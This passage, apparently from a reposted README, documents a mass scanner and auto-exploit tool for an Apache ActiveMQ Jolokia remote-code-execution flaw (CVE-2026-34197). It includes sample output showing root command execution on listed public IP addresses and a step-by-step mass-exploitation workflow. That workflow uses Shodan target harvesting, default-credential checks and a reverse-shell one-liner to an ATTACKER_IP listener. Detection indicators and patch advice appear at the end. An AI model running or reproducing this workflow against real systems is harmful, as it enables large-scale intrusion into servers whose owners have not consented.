> - المنفذ داخل `/dev/tcp/.../4444` — منفذ استدعاء الصدفة العكسية حيث تستمع أنت باستخدام `nc`. هذا هو مسؤوليتك لفتحه.
>
> هذان المنفذان **مستقلان**. لا تخلط بينهما. تحتاج إلى `nc -lvnp 4444` للصدفة، والسكربت يتعامل مع `:8888` داخليًا.

### مثال على الإخراج```
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

فهم نتائج المرحلة 2

نتيجة المرحلة 2ماذا تعنيالخطوة التالية
RCE CONFIRMED + Command output:نفّذ الهدف الأمر وأرسل الناتج مرة أخرىنجاح كامل — يمكنك رؤية الناتج مباشرة
RCE CONFIRMED (بدون ناتج)قام الهدف بتنزيل الحمولة لكن لم يتم استلام أي ناتجRCE يعمل، لكن curl/wget قد يكونان مفقودين على الهدف؛ استخدم قشرة عكسية
No callback received within Nsلم يصل الهدف إلى خادم HTTP الخاص بك في الوقت المحددتحقق من إمكانية الوصول إلى ATTACKER_IP، أو جدران الحماية، أو قم بزيادة --wait
Jolokia accepted (status=200)عالج Jolokia الطلب بنجاحعلامة جيدة — انتظر الاستدعاء
Jolokia status=500: ...أرجعت Jolokia خطأًقد يظل يعمل (يمكن أن يحدث تنزيل XML على الرغم من 500)؛ تحقق من السجلات
HTTP 401فشل المصادقة لهذا الهدفيحتاج الهدف إلى بيانات اعتماد مختلفة
HTTP 403Jolokia مقيدالهدف لديه قوائم تحكم بالوصول (ACLs) — غير قابل للاستغلال بهذه الطريقة
Connection refused / Timeoutالهدف غير قابل للوصولمشكلة في الشبكة أو الهدف معطل

سير العمل الموصى به للتقييمات الجماعية```bash

1. Collect targets from Shodan (see Hunting Guides)

shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt

2. Format into targets.txt (one URL per line)

awk '{print "http://"$1}' raw_targets.txt > targets.txt

3. Phase 1 only — quick recon, no exploitation

python version_check.py -T targets.txt --threads 20

Review output: which are vulnerable, which auth works

4. Full pipeline — scan + exploit with a safe command

python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

5. For confirmed targets, get reverse shells individually

nc -lvnp 4444 # Terminal 1 python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2

root@kitploit:~
---

## الصيد والاستطلاع

أدلة مفصّلة للعثور على مثيلات Apache ActiveMQ المكشوفة باستخدام **Shodan** و**LeakIX** و**FOFA** و**Censys** و**ZoomEye** و**Google Dorks** — بما في ذلك أدوات البحث الخاصة بالإصدارات، وكشف Jolokia، واستخدام CLI/API، وخطوات التحقق من الأهداف، وقواعد SIEM/IDS، وأولويات المعالجة.

<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>

### أدوات Shodan السريعة```
"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

استعلامات LeakIX السريعة```

+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds

root@kitploit:~
### التحقق من الهدف```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

[!TIP] راجع الأدلة الكاملة في docs/ للحصول على عمليات البحث (dorks) الخاصة بالإصدارات، وفلاتر الجغرافيا، وأمثلة API، وقواعد IDS، وسير عمل التحقق خطوة بخطوة.


الكشف

مؤشرات السجلات```log

INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml

root@kitploit:~
> **ملاحظة:** سيتضمن الجزء `rce*` أحرفًا عشوائية (مثل `rcek4m2x9ab`) لأن الأداة تقوم بعشوائية أسماء الموصلات.

### مؤشرات الاختراق (IOCs)

| المؤشر | الوصف |
|-----------|-------------|
| طلب `POST /api/jolokia/` مع `addNetworkConnector` | محاولة استغلال |
| طلب HTTP GET صادر من عملية ActiveMQ | تنزيل حمولة XML |
| طلب HTTP POST صادر من عملية ActiveMQ (استخراج مخرجات الأوامر) | استدعاء التقاط المخرجات |
| عناوين `vm://` URI مع `brokerConfig=xbean:http` | موصل خبيث |
| عمليات فرعية غير متوقعة من Java/ActiveMQ (`curl`, `wget`, `bash`) | تنفيذ أوامر / استخراج مخرجات |

---

## المعالجة

| الأولوية | الإجراء |
|----------|--------|
| **P0** | الترقية إلى ActiveMQ Classic **5.19.4** أو **6.2.3** |
| **P1** | تغيير بيانات اعتماد وحدة التحكم الافتراضية |
| **P2** | تقييد الوصول إلى المنفذ **8161** |
| **P3** | مراقبة سجلات الوسيط (broker) بحثًا عن عناوين `vm://` URI مع أنماط `xbean:http` |

---

## استكشاف الأخطاء وإصلاحها

| المشكلة | السبب المحتمل | الحل |
|---------|-------------|----------|
| `No payload request received within 15s` | لا يمكن للهدف الوصول إلى ATTACKER_IP الخاص بك | تحقق من الاتصال (راجع [دليل ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | بيانات اعتماد خاطئة | جرّب `--no-auth` (ActiveMQ 6.0.0-6.1.1) أو ابحث عن بيانات الاعتماد الصحيحة |
| `Access forbidden (403)` | واجهة برمجة Jolokia مقيدة | قد يكون لدى الهدف قوائم تحكم وصول (ACLs) على `/api/jolokia/` — غير قابل للاستغلال عن بُعد |
| `Connection error` / `Could not connect` | الهدف معطّل أو المنفذ خاطئ | تحقق من إمكانية الوصول إلى `http://TARGET:8161/` |
| `Jolokia status=500: could not be registered in JMX` | موصل الاستغلال السابق ما زال مسجلاً | تقوم الأداة بإعادة المحاولة تلقائيًا باسم عشوائي جديد؛ حاول مرة أخرى |
| لا يعود اتصال الـ reverse shell | عنوان IP مختلف في `-l` مقابل أمر الصدفة، أو المنفذ لا يستمع | تأكد من استخدام نفس العنوان في كل مكان؛ ابدأ `nc -lvnp PORT` قبل الاستغلال |
| `No output received within 10s` | الهدف يفتقر إلى `curl` و `wget`، أو الأمر لا ينتج مخرجات stdout | لا يزال RCE يعمل — استخدم reverse shell للتفاعل الكامل |
| يُظهر التقاط المخرجات نتيجة فارغة | الأمر لم ينتج مخرجات (مثل `touch /tmp/test`) | متوقع للأوامر بدون مخرجات stdout؛ استخدم `ls /tmp/test` للتحقق |
| `OSError: Address already in use` على المنفذ 8888 | عملية أخرى أو تشغيل سابق يستخدم المنفذ | استخدم `-lp 9999` (أو أي منفذ متاح)، أو أنهِ العملية المحجوبة |
| المرحلة 1 في `version_check.py` بطيئة | عدد خيوط قليل أو زمن استجابة شبكة مرتفع | زد `--threads 20` أو `--threads 30` |
| يُظهر `version_check.py` `[VULNERABLE]` لكن المرحلة 2 تفشل | لا يمكن للهدف الوصول إلى عنوان IP الخاص بك، أو جدار الحماية يحظر HTTP الصادر | تحقق من ATTACKER_IP؛ جرّب `--wait 30` للشبكات البطيئة |
| يُظهر `version_check.py` `No Jolokia` لجميع الأهداف | واجهة برمجة Jolokia معطّلة أو على مسار غير قياسي | تحقق يدويًا باستخدام `curl -u admin:admin http://TARGET:8161/api/jolokia/` |

---

## المراجع

| المصدر | الرابط |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [التحليل الفني](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| إشعار Apache | [الإشعار الأمني](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE ذات صلة | [CVE-2024-32114 — Jolokia بدون مصادقة](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE ذات صلة | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |

---

## إخلاء المسؤولية

> [!WARNING]
> هذا الدليل البرهاني (proof-of-concept) مقدَّم **حصريًا للأغراض التعليمية وأبحاث الأمن المصرح بها**. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها **غير قانوني**. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

---

<p align="center">
  <a href="https://github.com/KONDORDEVSECURITYCORP">
    <img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&amp;logo=github" alt="GitHub"/>
  </a>
  <a href="https://t.me/KONDORDEVSECURITY">
    <img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&amp;logo=telegram&amp;logoColor=white" alt="Telegram"/>
  </a>
</p>

<p align="center">
  <sub>طُوِّر بخبرة بواسطة <b>KONDOR DEV SECURITY CORP</b></sub><br>
  <sub>رخصة MIT &copy; 2026</sub>
</p>
تنزيل الأداة